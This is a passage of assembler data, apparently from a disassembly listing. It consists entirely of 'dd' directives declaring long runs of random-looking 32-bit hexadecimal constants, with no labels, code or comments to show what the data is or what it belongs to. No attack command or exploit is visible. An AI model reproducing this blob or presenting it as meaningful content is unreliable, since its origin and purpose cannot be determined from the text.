		dd 89805B96h, 0DA2F95A0h, 851B75F3h, 0C878CF0Eh, 0A1CB30Dh
		dd 0FB4A5C11h, 71E48040h, 90EBB172h, 49354486h,	0C1719A00h
		dd 23F3F53Bh, 0F9B4FCC4h, 25C0D303h, 29779CD7h,	14348544h
		dd 9C7A73B3h, 97BFDDC1h, 11CC254h, 0C5BE45E3h, 0D830AF22h
		dd 0E7397EEDh, 4FEC0036h, 599F4B9Dh, 91D6063Fh,	0D0CD79B5h
		dd 2A2BA00Ch, 0CD21841h, 0B0B85E1Ch, 8D009C99h,	6B8BFFD3h
		dd 3A33D629h, 182A3093h, 88F75C9Ch, 0ED24900h, 0A73E9AF4h
		dd 41011300h, 0BD5CF9A6h, 0C3D6ECD5h, 2A1FB468h, 773FE780h
		dd 86E8FF00h, 0FBE27608h, 0FDF54835h, 43DE1400h, 6871C70Fh
		dd 3D82900h, 0D2DFF1D4h, 0FBCD1D15h, 0B7CC85F2h, 0ECC7008Bh
		dd 0CC6418Ah, 0DD07050Ch, 0E08E5h, 6FA1C8F1h, 54528609h
		dd 93003EB8h, 5922D32Fh, 1D97966Ch, 809CF377h, 148C814Dh
		dd 34018940h, 0C22728D7h, 83E03F63h, 0D27D3061h, 0EA7F1E68h
		dd 0BDD95100h, 11A7B760h, 0E518C117h, 0E09B29BAh, 377B2B70h
		dd 0DBECE4F9h, 58F86500h, 0CCEDDCBFh, 9F6B013Ah, 44749C96h
		dd 0BF13ED5Eh, 0A28694B1h, 0E6187880h, 80181C9Eh, 0B85D480Bh
		dd 9B78700h, 83604095h,	6EE11501h, 67156F6h, 4E144080h
		dd 9582395Bh, 74425E00h, 349BE4CCh, 27070087h, 0C8C2FF1Dh
		dd 0C300708Eh, 0D82A473Bh, 3504EDh, 0B9C15B53h,	820D83C5h
		dd 0ACF1FD00h, 80BE3E06h, 39650757h, 40501DE9h,	18488A32h
		dd 3F8F39h, 33E8A68Eh, 7774AF64h, 0E2061CB9h, 858CC012h
		dd 6CEB134Dh, 0BFF73280h, 489F3440h, 861D36E0h,	0E180BBBh
		dd 7B8AC159h, 2C560064h, 785F7187h, 1B0F82A2h, 406C23A7h
		dd 0F03F7358h, 0A6BE00DBh, 61955ABFh, 0CF036544h, 2558DD33h
		dd 99B03B32h, 0A6ABAD04h, 5183EA47h, 0D50830F7h, 0AC41E721h
		dd 904F8B18h, 98C7BDE1h, 188400B0h, 2B995047h, 0F7A631Fh
		dd 29D0706Ch, 17D8C832h, 5A64A5C0h, 5A8219Fh, 2D012391h
		dd 0CE1B6579h, 907AD4A5h, 331E218h, 73C9BBEh, 0D1DB4791h
		dd 5B253006h, 3E61F11Ch, 709805A8h, 0DF9EA30h, 0E1DBF8D7h
		dd 57798008h, 0CF70EE36h, 0C00814EFh, 0B05E1CFFh, 8106E386h
		dd 390F8B35h, 0C1930F31h, 1B806438h, 6176E7D7h,	0DDAB4C00h
		dd 0A4E49182h, 90830023h, 0F99CC52Ah, 0AA5146CAh, 0B1B002B4h
		dd 0EAAD9C30h, 186721A1h, 0AC440069h, 60B728E8h, 0D186B106h
		dd 8500CCE4h, 0EBDBBE7Ch, 3325D8h, 0A92AB971h, 0E9657206h
		dd 3F114F00h, 0E355FEC1h, 848000F1h, 14D23D93h,	2DF41FB6h
		dd 3442E200h, 0F61B7B9Ch, 0CC6603FAh, 0E4951CA1h, 0C8BE7EF8h
		dd 8EA16EB0h, 0B758C898h, 12F3C500h, 40B2C9C0h,	0A7F20079h
		dd 0E006A8D6h, 1100D865h, 86F3ECAAh, 544759h, 8E2FB54Ah
		dd 87B06FA9h, 71441003h, 88B2A603h, 691804h, 9B6BDE62h
		dd 8A90AB37h, 0A35C0900h, 0BBC7368Dh, 0C3C3F831h, 4AB76718h
		dd 0F02000A4h, 3C359596h, 30033D09h, 9717B8A7h,	51B62018h
		dd 92A129h, 0B26D4E2Fh,	294B18F3h, 0BD10FA0Ch, 1890209Fh
		dd 79BE5FC0h, 39C34598h, 7C31AD8Dh, 0C86B3A20h,	0EA690230h
		dd 0D9881D94h, 0A70500C1h, 238FED07h, 0EF18F3D4h, 1638729Ch
		dd 0B6BF4B9h, 0C5EA7321h, 8D431101h, 0EB59A438h, 9640AE00h
		dd 4889F17Eh, 1200D236h, 0BF8672EEh, 0D3009C9Dh, 797E6CF2h
		dd 0DBE11AEh, 0C60E8D30h, 0F92C2040h, 0C8BF1301h, 0A5B589E9h
		dd 5697188Ch, 5C023608h, 5554C84h, 0ED49E1D0h, 2218A851h
		dd 0A78808B0h, 31DDC5B6h, 0F08439Bh, 705B0961h,	786488B4h
		dd 0CECC400Ch, 9EB8BBh,	0ABA706D0h, 6E5687BEh, 75536700h
		dd 79645255h, 59DE68B5h, 181685B0h, 1EC5FBDh, 73A9BFFCh
		dd 0D6AC46FFh, 9248C84h, 0CF440093h, 897C537h, 0B614A80Ch
		dd 3D4F80D8h, 264264BFh, 202D3BBBh, 88E6334h, 11069CCBh
		dd 0A86A4BD8h, 8318CE42h, 45D00090h, 0CDF00CB6h, 95720021h
		dd 0E2E18ABCh, 91C7EFh,	8B68D05h, 7F168443h, 8F6900A1h
		dd 0A8F94E04h, 667E0759h, 9CC85A05h, 0B402F0B6h, 8005038Dh
		dd 96010C1Ch, 7211C033h, 153D70A5h, 8662CA00h, 0B3AC0C99h
		dd 5A3A1208h, 0CB406185h, 0C9C9807Eh, 0D4BEB06h, 0C32200B7h
		dd 0E640685Bh, 0BE05A218h, 756F5E7Eh, 0A4AABC23h, 0DBC9A520h
		dd 74A0A215h, 0A6B618F8h, 0C09C18C9h, 0F857F2F6h, 706621A2h
		dd 0A04124F9h, 4CEAA888h, 0F2007D0Ah, 9A38B616h, 20DF111Dh
		dd 1C181740h, 2516A4Ch,	0F92C4D34h, 0E8A08542h,	939AB7A2h
		dd 0D01878C2h, 224444BBh, 11DFDEB3h, 2997134Ch,	0B808F7F1h
		dd 1BEA0CE9h, 112FDD0Eh, 0E8A0A2F2h, 2BCCF0Dh, 0BFC2541Dh
		dd 0D9D26CC7h, 8B1A05E0h, 3091C15Ah, 2126A6FDh,	14C808CCh
		dd 0B3A32F00h, 133AD4F0h, 0FECB1E07h, 9041D937h, 0B189887Eh
		dd 0BE188FD8h, 42059139h, 5049B498h, 61AC5098h,	0C9098284h
		dd 0A3F211EDh, 3CEB9774h, 0DE3D43E1h, 0E6A02680h, 91BD202Ch
		dd 8B6D9200h, 159ACE0Ch, 908F500Ah, 9FBF28A7h, 88C9763Ch
		dd 8C69CEAh, 0C90195h, 66802F55h, 8EA87F93h, 82507139h
		dd 0E9F4A67Ah, 8D948143h, 318D0F47h, 30911197h,	0FE007158h
		dd 64897F06h, 0C9851D4h, 93783726h, 90492578h, 0FC3083B0h
		dd 248CE0B4h, 1428A105h, 50987910h, 0D6B03D00h,	0D58529Dh
		dd 1F8800AFh, 6B07334Eh, 0A7FAC140h, 6E25200Ch,	10BE1D9h
		dd 17428050h, 168F5Bh, 0C5ED8EA7h, 404CB659h, 39A43CFCh
		dd 1103C6CEh, 1B54EA5Bh, 564CD0F5h, 19B47901h, 38FAA766h
		dd 95A82067h, 0FA90960h, 4122F35h, 1CA054B8h, 0A1B4813Ch
		dd 59700031h, 96726Ah, 0C40DD601h, 0AD898562h, 0B8CA2C14h
		dd 8DA706F4h, 0FB510225h, 0F880D9D0h, 9EE813B9h, 48020E1h
		dd 17146350h, 0CF60593Dh, 0D110A1F5h, 0BDF0FA3Ah, 545A1FB8h
		dd 9926006Eh, 0C4A92835h, 2C93872Ch, 146219Ch, 415C3Eh
		dd 75BAAC95h, 801B597Bh, 2CB90CA0h, 7A4F7095h, 0BCA062ACh
		dd 74C65E09h, 4C8C2274h, 0B80F495h, 2932090Eh, 0CB849C0Eh
		dd 94D6E2A3h, 764DC09Fh
		dd 846AF53Bh, 0F874C097h, 0D13D758Fh, 1D489F7h,	0A458A5FCh
		dd 0E6ADA442h, 24C7404Bh, 865902E5h, 0BA6F0FE1h, 68DACC8h
		dd 0AED879C0h, 4C7D96h,	0DEEC567Eh, 54B170F4h, 3F02EB74h
		dd 1D02B885h, 2588C05Bh, 7FFE0278h, 0CD9DF1E2h,	99CBB868h
		dd 11D9C9h, 1B7E8648h, 784F58F9h, 2621DC53h, 0BB1C6910h
		dd 50EF92A2h, 0B115EC30h, 6E1B903Ch, 97AF191Eh,	0BFD0806Dh
		dd 87098634h, 9816EB28h, 0BB1A8D00h, 1918A420h,	72B6411Ch
		dd 0A59C0064h, 5F5D98F0h, 0A4808231h, 166FD120h, 948770B1h
		dd 448FD70Ch, 34CA7E7Bh, 5278182Ch, 1040EC88h, 4C692B6Ah
		dd 3020A82Ch, 0A81CA173h, 98900972h, 206FEA13h,	0E4683E08h
		dd 0B8F79912h, 0C8546600h, 0ACAE01h, 29B68A60h,	5E17E261h
		dd 0CEA08112h, 7897784Ah, 0F29B83Fh, 0A0CC7BA4h, 52EBD278h
		dd 26F0B1EAh, 61A02404h, 0E1D55E9Dh, 856CE438h,	30B1D1C5h
		dd 0A4984CC8h, 5810F8A0h, 0E0DA083Dh, 10607C1Ah, 618A3F59h
		dd 0ABDC4C5Ch, 0F83B0829h, 959E57CAh, 0FFC83930h, 46DA1347h
		dd 28F85204h, 0C1008268h, 9C7DE9D6h, 1EF6A756h,	870D32BDh
		dd 0A57217DFh, 0D0C8108Ch, 3491C4CBh, 0E07295h,	0C2164455h
		dd 3381CE98h, 0B7B162A7h, 0CCD5FA05h, 0C856ADh,	3F80A695h
		dd 0C9BC1920h, 5068FA00h, 8DAD3118h, 0A8F55C17h, 0C7CBE005h
		dd 56419890h, 1AA601D8h, 0E9611FF7h, 0A7488B3Eh, 30FC92BAh
		dd 31FB70h, 95DF187Ah, 6450A48Eh, 0CEF45100h, 0D1702997h
		dd 35F50C80h, 0CBE99B93h, 9FE07D54h, 6FFC8700h,	0EE7BA250h
		dd 9CE10FD3h, 1680CB51h, 302DBDE4h, 84B05848h, 0C15FEB24h
		dd 73B8EABEh, 0A8D434FFh, 87FCCB58h, 0ACC09425h, 992276Dh
		dd 0C9BF4D2h, 41BCBE86h, 0E51CE8A1h, 0B8329Ch, 93FA90Fh
		dd 968E43A3h, 8D724428h, 983310h, 6C514AE2h, 73070B2Ch
		dd 60680E89h, 9885D5F9h, 0A749280h, 35BF4260h, 0E52C99C0h
		dd 49AF78h, 26E7D48Fh, 1BB9EC2Ah, 3520B605h, 4805C448h
		dd 0C0C7620Eh, 88C532D5h, 88BD8032h, 0D811CC28h, 0D4758C51h
		dd 2CF1093h, 3D01A010h,	20804459h, 346447C7h, 0DD4D0326h
		dd 3A98C51Bh, 0E641D900h, 0BD5E19FFh, 0C00C051Dh, 82BA1327h
		dd 0C4A0434Ch, 2DB84AD1h, 5C3011D6h, 452AFE7h, 0ABAE4B5Fh
		dd 0C8B0842Fh, 0C2609774h, 0D6FF3799h, 99457A7Fh, 82EA0578h
		dd 0B928105Ch, 0CB475060h, 0AA0073D5h, 80F43370h, 268C2018h
		dd 646875EFh, 0D2F0A172h, 21B5C05Bh, 0AE76B886h, 0DB8101DCh
		dd 0FC4D8E20h, 7F2C29CAh, 0F0500E14h, 6C4992h, 8121C9B5h
		dd 0FA0F855Ah, 3846140Eh, 1A83F08Ah, 45CCCA5Fh,	0C5C03387h
		dd 3F073A49h, 18585D2Fh, 0D0C07CD4h, 888FD6AFh,	222C48h
		dd 0B79A6816h, 0D3B150h, 9986D20Bh, 24BF91D9h, 0BB0277B8h
		dd 0D4C8E53Ah, 7894A865h, 0CCC89545h, 0B0540EA1h, 0C0BC235Ch
		dd 92F44FCAh, 9405BC95h, 9BF1E4ECh, 0ECC40CC4h,	181C9CA6h
		dd 0C5A1F41Fh, 5538D77Ch, 0A8C8408Dh, 13AED4B5h, 0B70094E2h
		dd 0EE710BC1h, 52937583h, 0CF00BCDEh, 1057BD91h, 0BE7CA073h
		dd 0A84438A6h, 31934A17h, 0AC80CB84h, 833D6E11h, 0F2268D34h
		dd 0B052E1BBh, 0A919E20h, 377D015Fh, 7ED08A24h,	939A895Ch
		dd 0C3E84C3Bh, 3C016E20h, 37E8B8C5h, 74100C92h,	9100C4E5h
		dd 5B965D58h, 3E070Dh, 9BE6EF3Dh, 20C5F43Fh, 0BC4C0917h
		dd 0E0368809h, 1A77A020h, 0E1715A10h, 20C9B46Ch, 0D4C48B4h
		dd 8A639E0h, 7222584Ch,	88204C98h, 40D4948Dh, 3E785CB1h
		dd 0A7E73Dh, 0DCE23ABAh, 44D1C6Dh, 0F8EDFB01h, 0DE5E4053h
		dd 48A6AC89h, 8CC0E072h, 0F2D15CE4h, 75856500h,	3856DA54h
		dd 43A72EC7h, 0A58C2EC8h, 2218FCA2h, 10890C59h,	958C6826h
		dd 0BE59C737h, 0DF0400D9h, 42F4ABC3h, 52C8436Eh, 9E5530D0h
		dd 0F3106CEh, 515973DFh, 25116412h, 9C8EDCC8h, 1097C2F4h
		dd 0A1A23448h, 28FA9D00h, 0F1A9FCEh, 0E9239C5h,	0CC38C827h
		dd 5F26D4FAh, 0CA67880h, 0F8E5610h, 0F2443D6Fh,	0BDB888BFh
		dd 5C772F00h, 0D180B6F8h, 6A86003Eh, 1941ACE7h,	0ED179F9Eh
		dd 0CC145BA4h, 0A000D2D8h, 0CAC528B6h, 0A15604B3h, 8DBECB20h
		dd 30AC66BCh, 0D90481C3h, 864F01F7h, 0FF678E33h, 78E0AB42h
		dd 0DD090E3Eh, 8D13B064h, 0C9DC270Eh, 68948CAFh, 9D027058h
		dd 8D5A190Eh, 0A3016064h, 9C1E37C5h, 0D4274352h, 0D9B56F00h
		dd 0E39124C2h, 5EBE5200h, 0BAF7DBB9h, 2ECA915h,	290F6610h
		dd 10DD6237h, 34E4C9h, 0D2396875h, 13B05EC9h, 54B56406h
		dd 599B842h, 0EE9CA47h,	43A8C85Bh, 1BFEA01h, 0B023EDCCh
		dd 0A053EC8h, 59A7932Dh, 0B809CF9Ch, 0F1214CC4h, 0C310899Ah
		dd 89A7C848h, 3863C45Ah, 9C93DCB6h, 2A4C8BCh, 3110058h
		dd 4189E755h, 84A0756Dh, 2899C318h, 0D935950Ch,	131E00FEh
		dd 0E72728B9h, 3709237Bh, 66367A5Ch, 0AE820040h, 0D001E83Ah
		dd 52065D70h, 0A5FD3818h, 8098B120h, 75A21B2Fh,	0CC240AA1h
		dd 0B0256E50h, 2633ACh,	0C8DF835Dh, 0B87716BFh,	0A610B500h
		dd 30E46222h, 81C49B59h, 0EA4FE8A7h, 9785F43Ah,	0E301544h
		dd 7DC255DCh, 0D4DF2000h, 282E214Ch, 93049F14h,	88D4C401h
		dd 0A820F284h, 96BBDF82h, 2300574h, 5638117h, 94219316h
		dd 0C1D10423h, 0A7F4E3CAh, 0D4242A96h, 6EF00074h, 3D4E4D20h
		dd 2A12A95Fh, 18CABEFEh, 5B40E29h, 893E9109h, 269C2394h
		dd 6408CB7h, 7A9C07Ch, 780AE588h, 0CCF38531h, 0AD00F254h
		dd 32BC864h, 4F67D24Ah,	0F12807E9h, 3C701A37h, 180A767Ch
		dd 89FC976Eh, 16881303h, 17143F18h, 0A4A4F4h, 0A4A27D5Eh
		dd 86C19F2Bh, 4C3F603h,	0B68AD379h, 40975AD9h, 0D5BFE628h
		dd 701C50Ah, 0EFA50E42h, 3C695E78h, 96B65840h, 0D5AD811Ch
		dd 6D54E880h, 6471104h,	31EE9718h, 7D2C779Ch, 0AB00F67Ch
		dd 33602B45h, 0D4E30209h, 9383EC8Bh, 692E2CC4h,	99809472h
		dd 24A66A5Eh, 27011308h, 2E10C8A0h, 4B9488h, 0C52BB98Ch
		dd 0B716FC73h, 0F4FABA00h, 153AB2BDh, 44B8B26Ah, 69028E9Ah
		dd 0DAE6ED86h, 949CA091h, 4CA8A2D8h, 9FA0305Ch,	452E8263h
		dd 560ECE18h, 1A7C0B8h,	5E0A1FE5h, 32A840BDh, 539C1D60h
		dd 2BCAA402h, 4957F859h, 0AA103A90h, 0D70009ADh, 0AC7D3E3Bh
		dd 30452D8Fh, 228A623h,	98A8126Eh, 2200FB44h, 4684565Eh
		dd 0B88BA46Ah, 0B211D58h, 8CC31289h, 0FE8802D4h, 0A091EE7h
		dd 0CC192F9Fh, 6610E082h, 1CBE933Ch, 0B60575F4h, 58C816CFh
		dd 447C9E20h, 8830280Eh, 3900EED0h, 0BD66EB25h,	3C9F65C4h
		dd 7A094E04h, 0E8043410h, 9868C8B8h, 0DA0EDE71h, 2F19DFCEh
		dd 3F390010h, 0E0A43806h, 4E32B07Eh, 1C644B56h,	0CD940419h
		dd 2E582DEEh, 60407497h, 0CC98E2h, 0FD1B11EAh, 0EE863CCAh
		dd 80208C6Ah, 9B401C01h, 431C99Ch, 20C0583Ch, 0AAE0D9C4h
		dd 44E7E300h, 1004FB0Ah, 2348107Dh, 29498EBFh, 0B03C46C6h
		dd 98F48460h, 8BA53E94h, 5E8CF282h, 3069DF79h, 3754508Eh
		dd 2700B6B7h, 12955D78h, 2D022A55h, 949249E6h, 4400B479h
		dd 4D340648h, 19BF2052h, 0B0222090h, 0F6D8C0DBh, 0EA4205B9h
		dd 8DACC90Bh, 6CA41A25h, 58209A4Ch, 202ABC30h, 0AF0980Ch
		dd 16705A5Ch, 75696040h, 13984CFFh, 0E9F7D631h,	5C6295D5h
		dd 0CB7DAC00h, 0A6464FB3h, 5B0145B0h, 2B1C1D25h, 0D4543D07h
		dd 72CCE08Ch, 3F230039h
		dd 0E75FCB16h, 7501447Ch, 0CF5396E8h, 460F86Ah,	0A13960B6h
		dd 0F74E3F46h, 0EC6B3000h, 1A05A3D1h, 7A81EC83h, 0DF8B2455h
		dd 60CA46Ch, 0C969D99Ch, 330D10C0h, 0C0571576h,	0C6B96FB1h
		dd 2C036DBFh, 0B454377Eh, 0AC3140E6h, 0B6A9C6E9h, 58388140h
		dd 8778F63h, 0D160E073h, 71335F55h, 173F3AAFh, 0C3273859h
		dd 1410C898h, 74115F3Eh, 0C0E00848h, 84713A8Bh,	46D40789h
		dd 40A5ECEAh, 0FFD29E99h, 0CB6288B4h, 65C621A4h, 0A1AE80CAh
		dd 79EE92EBh, 4F5C162Dh, 0A85C9C31h, 7D5FC1F0h,	53705020h
		dd 0AF180155h, 0EA2B624Eh, 2C3C7D19h, 27404494h, 1F3C0C9h
		dd 0A518AA5Dh, 2CF0BF0Eh, 53A78330h, 0E524D1FFh, 135E17C4h
		dd 0D418F471h, 3080CC3Ch, 0D31BCB03h, 0A8B235CEh, 4B087193h
		dd 0EA1020A5h, 79D5970Eh, 26A80568h, 4CA4228Dh,	81009E9Fh
		dd 0A2AC805Eh, 6EFCC872h, 0C539C360h, 4A81E7BEh, 0BDE098A6h
		dd 0F10C8EECh, 5E13ECB1h, 2020D393h, 0B0D3C050h, 0F0F21900h
		dd 52200CC3h, 3AC9E8Eh,	0B81F6F49h, 7715BA98h, 4C33FF5Fh
		dd 0FBB1044Ah, 82617B8Dh, 0C0593DC2h, 181625h, 0B4D41689h
		dd 4E52ACF3h, 937F8816h, 7819AC60h, 76FE005Ah, 6B146157h
		dd 6091FC9Eh, 0D69CFA00h, 88C295C9h, 79131C9Ah,	0D8884DC1h
		dd 1AAF0F2Fh, 0AD29512Eh, 8CC3F425h, 6A0250FCh,	3889B7Eh
		dd 4A606CBCh, 9A242016h, 4F00B048h, 740788B7h, 177142D5h
		dd 0C8854BDEh, 41C85558h, 4988A4CFh, 4080F004h,	0DAE97E26h
		dd 717155h, 32239C11h, 833F5673h, 0B4DC3900h, 19F75A2Ch
		dd 37ED09CAh, 1018C617h, 0E65FBCA7h, 0A0E35870h, 3CF70D8h
		dd 70412415h, 47C0BF58h, 763F5526h, 84B1892Eh, 0C8083093h
		dd 640B01Ch, 89B4ACA6h,	7201B9C0h, 0DC4D7023h, 52AB98Fh
		dd 9C318CF8h, 7303B0CCh, 0CAEB54E5h, 805083A3h,	0B3305838h
		dd 9F8E0FA4h, 4A987017h, 4100172Ch, 0A7EE40E3h,	0E30D1EE5h
		dd 0F280302Dh, 38BF8F77h, 0B77D4900h, 56815F10h, 48F562FDh
		dd 30C49409h, 1F8CB52h,	985B2DF9h, 0E831AC5Dh, 24F2BFC9h
		dd 0F93DC2BEh, 0C609A044h, 599F881Ah, 8091ECh, 13E94378h
		dd 38AA1B62h, 0B13356A5h, 0C0D94AD4h, 0BDE18F0Fh, 0DC94E0D7h
		dd 3E910117h, 225A11B3h, 445C9830h, 9D3F1A80h, 403C0341h
		dd 0EB4A18D3h, 96B344C8h, 802E5164h, 766FDCE1h,	9054F1h
		dd 683D9579h, 466E4458h, 0C491690Dh, 9D871E6h, 79B5130Fh
		dd 0E9F8D031h, 820041BCh, 0EEC19E65h, 9CFC40Bh,	98D8918Dh
		dd 0EA864468h, 66C80C00h, 2E9FB946h, 595F03F9h,	69ED371Dh
		dd 1E8A3B4h, 48AE17EAh,	2F0713Bh, 15851C55h, 58B0E728h
		dd 0EF00C9D7h, 7A973E9Fh, 0C3EEADh, 96A7E34Fh, 5D0D9C56h
		dd 9E18CC44h, 48BC6704h, 0A3D410A7h, 0E9E61F22h, 1C84C682h
		dd 94962142h, 0AEC14A80h, 20330CDh, 4FF2E2FCh, 801061D0h
		dd 7A8138Ch, 28AC0992h,	0FE805873h, 0B03BA31Dh,	0A7040439h
		dd 83CB214h, 0D8136F10h, 4D00174Ch, 0BA1F315Ch,	0EF0F539h
		dd 88EA5985h, 4CA01ACBh, 0B70A2DC2h, 6ED32Dh, 599736B0h
		dd 0F3AD00DCh, 0B6DDAA46h, 5834A1CFh, 0F4D8D835h, 59FE0153h
		dd 2930043Fh, 9A83E4E1h, 9C86AD00h, 8E5C9651h, 0CFA70977h
		dd 8890B3A2h, 1AE202B9h, 0B0B444B0h, 37E67960h,	21441D4h
		dd 9C7AC4BCh, 0DEECC202h, 0C469AF86h, 0A1E4000Ch, 0FF6126D5h
		dd 0F1090F3Ah, 4916A718h, 5987D9C0h, 81CDE174h,	64898BF0h
		dd 4A84B8C0h, 25288C7Eh, 0C0409E4Bh, 136AA95Eh,	9C477D37h
		dd 32668010h, 6C1D804Bh, 85EADA0Fh, 2487C9C2h, 98B495D8h
		dd 0DD110023h, 0F63D8B2Bh, 0B90EAA51h, 80B2E449h, 10A26492h
		dd 2F18B9BDh, 0C290E00Eh, 0C23D8E40h, 2CE8DAE8h, 4058CBA7h
		dd 0B608D18Bh, 17C501Ch, 48944F40h, 0C59C966h, 3D1C6439h
		dd 0A8E2BE89h, 0E824D32Ch, 90B76A89h, 771DF50h,	0A73DD21Eh
		dd 0E7AE914Ah, 69608552h, 34895930h, 0E7C4CDAh,	1E0B23B9h
		dd 63082812h, 0A224251Ch, 0F609BE00h, 0FF00E28h, 6B3DE547h
		dd 0DBEBBD2Fh, 1101FCAFh, 4368EC4h, 295754C2h, 2905851h
		dd 1A90205Eh, 0E4009672h, 0D77B3984h, 0BC41A679h, 49849C8h
		dd 860099B8h, 0F7545C87h, 18786D51h, 281B93F6h,	24B6BDA7h
		dd 329DD14Eh, 242BD921h, 58956534h, 1B80C09h, 0A4240ECAh
		dd 1FE5F848h, 174D0B88h, 5C670339h, 89FB9B63h, 0EA920A8h
		dd 24FCA55Ch, 6B603002h, 3BE52E68h, 44CBC324h, 413F91E0h
		dd 0CE2A3B30h, 84BD8C48h, 0A7F18E61h, 59EEC5B0h, 44458870h
		dd 0B9D3CF40h, 0CA6131D1h, 149FB3D9h, 869ECF6h,	74B6D401h
		dd 0C3C8426Ch, 58A8A724h, 42C81F1Fh, 853F6987h,	0C8F94CCEh
		dd 643E9CA3h, 53F03h, 1DF94268h, 1FADE6h, 4B0D9DD5h, 226037EAh
		dd 0EB3C6176h, 9469C557h, 1DFBFDC0h, 3C4030CFh,	490D4FB6h
		dd 0E8C25ED0h, 939F6879h, 64BD4880h, 175995F8h,	89C634F2h
		dd 7C202F6Ch, 4E0BD8h, 27A6C54Ah, 3815556Ah, 0F013F00h
		dd 1DE0C8E9h, 0C8F9D242h, 2C1C5238h, 0D840CE49h, 0F5E921A0h
		dd 51180039h, 1B26E56Ch, 1C1559B3h, 3BCC64F0h, 0B070CF8Eh
		dd 2F7DEDF2h, 0FC90DBFFh, 80161016h, 0B421BCA1h, 0D8451418h
		dd 928034h, 648091CFh, 27281315h, 898C600h, 62940889h
		dd 0F94A7350h, 519140CDh, 101F27C6h, 4BA0A788h,	6D08CDCCh
		dd 0D8B810BCh, 0B4C4D0D5h, 8EDCED6Ch, 0A59980A6h, 3003C04Eh
		dd 20826123h, 1F0464ABh, 71B67687h, 0DCA2C0D4h,	96B59300h
		dd 0C6DA08CFh, 67E2E900h, 0BCDEEA22h, 9780A95Ch, 0E700CC22h
		dd 0B659960Ah, 3C94938Ch, 0C9FEA960h, 0FBD800D0h, 64E29BB0h
		dd 6200F409h, 0A15B0691h, 94D72ABFh, 4AA9C000h,	0E800CB4Ch
		dd 0F58B03C2h, 9D5B0127h, 0DEB9F8A7h, 42FF1F80h, 6C25AF85h
		dd 16E8E443h, 0E824CC55h, 0EE870008h, 4FED2056h, 52AA0579h
		dd 8CC86E8Ch, 34531F34h, 0B3E21C0h, 44C6B85h, 4618F804h
		dd 44ECFB9Dh, 111B25C0h, 0A5ECF015h, 44A092F0h,	7E008D89h
		dd 0D61E7A7h, 0D220B6h,	0DE59EB1Fh, 5EAEA65Ah, 0B958D800h
		dd 9945CECh, 34D75807h,	0C9A8215Fh, 0BCEA107Dh,	16A1FE29h
		dd 90CA4345h, 0D93E7EBCh, 2405A47Ah, 3DFD42EEh,	0B82804E2h
		dd 63880014h, 0F1A67CFAh, 612DC881h, 35C44D2h, 0B947CC45h
		dd 9ED0B1ABh, 0D6279949h, 0D46CBEh, 0B63A0ED5h,	4F2A143h
		dd 508E8507h, 0B8EB35D4h, 659E94h, 5880A9C2h, 0ABF5D82Bh
		dd 9004182h, 44B22E10h,	0B0D33E04h, 68E9E7EDh, 40791C89h
		dd 21C0C4A5h, 80A73CADh, 0A2C67F1Ch, 420702A0h,	0BB5FB3EAh
		dd 8480805Eh, 8A8DF3C4h, 798801C3h, 32868060h, 0D693DC56h
		dd 0EA79C961h, 0E7B768h, 32C2B959h, 0D1D50E65h,	0BFD08F60h
		dd 0E0E2936Fh, 856C2E88h, 93D8CA58h, 97C43051h,	0D001DFE4h
		dd 31192CAAh, 0A0D77A3Fh, 26B9A90Eh, 93B81E8Dh,	8849905h
		dd 0B73AA7D8h, 18354EC5h, 9AA1F801h, 0B7E84068h, 0C4E869h
		dd 599FFC71h, 0F0108ED7h, 830EC000h, 0E15F14BDh, 0B6C31F58h
		dd 0EA9B8C9Ch, 68189D30h, 0AD08BF3Dh, 5080FD70h, 6A7FDC03h
		dd 0C47C485Bh, 3B96F458h, 113C1845h, 0FA9EA739h, 0EC8B7D04h
		dd 8FB1FDDh, 5A1706C9h,	24F6496Fh, 8631556Fh, 8068C2D2h
		dd 0C67CEB08h, 0C1A9CF29h, 7D6BDB01h, 0CA383CC3h, 33301ED3h
		dd 544D0095h, 184BE76Fh, 75862F0h, 0FB203EFh, 22A63D71h
		dd 6F007DC0h
		dd 9BE6131Ch, 0FE74D8F0h, 6B47180Eh, 24C42146h,	0FA71B507h
		dd 3C15AB2h, 188C31EEh,	0ADA1D83Ch, 66750D01h, 9DBDDBDh
		dd 9CB22183h, 981DC755h, 48C06B5Dh, 0D0B34F0h, 0BDA03354h
		dd 428C1DF9h, 0DECD39h,	0B0B93FF0h, 902F306h, 20214B30h
		dd 5F00C60Ch, 0C026AE43h, 0AA4B3F9h, 94A8ADF2h,	1A91BCh
		dd 4F2E8324h, 1D3E6FBh,	19F3237Bh, 0DC85B308h, 0FA065D1Dh
		dd 78384764h, 402300A9h, 0AE3D2CDh, 0B1299081h,	6F0AC4B3h
		dd 3500A2D0h, 1EA433B7h, 5F200016h, 218C23Bh, 1A1F9BBCh
		dd 0B34947A9h, 9F3811DBh, 80D74B10h, 6D00BBF0h,	93F0D32Dh
		dd 19293339h, 0E059A4B4h, 0D899136Bh, 965DF1h, 8C042C7Ch
		dd 9F59010Ch, 58C7E200h, 0BE4D055Ah, 27DD3833h,	8790402Bh
		dd 60E66157h, 0F741D1E8h, 0F3EC870Eh, 0A354E05Dh, 28D55059h
		dd 301898B2h, 0D1E9D4ADh, 9E70732Fh, 6BCE010Ch,	62C4C955h
		dd 599878D0h, 0D99A8C09h, 0F8310086h, 57E73DE5h, 8B006D36h
		dd 16F39BEDh, 1E9AEE9Fh, 70EB6B52h, 2EEAB231h, 33F8A892h
		dd 0D561A662h, 7B0E6362h, 0DA21C7C8h, 64F77087h, 0AF246AF0h
		dd 0A9807418h, 2AA22414h, 8C9491FDh, 6721DF39h,	0B6CCBF00h
		dd 655234E7h, 8D5F0023h, 0ACCB8025h, 7D0ADDE4h,	0D4AD590Eh
		dd 2F65C41h, 1AEB0D4h, 3A986580h, 9F6908D0h, 1C00D13Ah
		dd 9C873748h, 0D3FCA046h, 983E8A9h, 715A1E51h, 0DE479820h
		dd 3900E41Ah, 75D831BCh, 0FC6F0Eh, 0FD3CCB3Ah, 5C4F946Ch
		dd 0DA295A05h, 5C205817h, 1E6BED9Bh, 0C0DD78D0h, 5FAB42B1h
		dd 743C1BE9h, 213E00DEh, 0DB706E01h, 7C12501Fh,	7DB988D9h
		dd 97EA7701h, 6BBD26EEh, 16C9CFCh, 36BC7032h, 0E99B4087h
		dd 8E78246Fh, 30D7EE02h, 81ADC3D8h, 4F1ADDD0h, 0B4175984h
		dd 0A4071FD5h, 0B3052F47h, 5DA9D807h, 90791747h, 68B5A484h
		dd 2C389Bh, 1BBB30C1h, 0C84C24BAh, 0EC8A01E1h, 0F817BCA8h
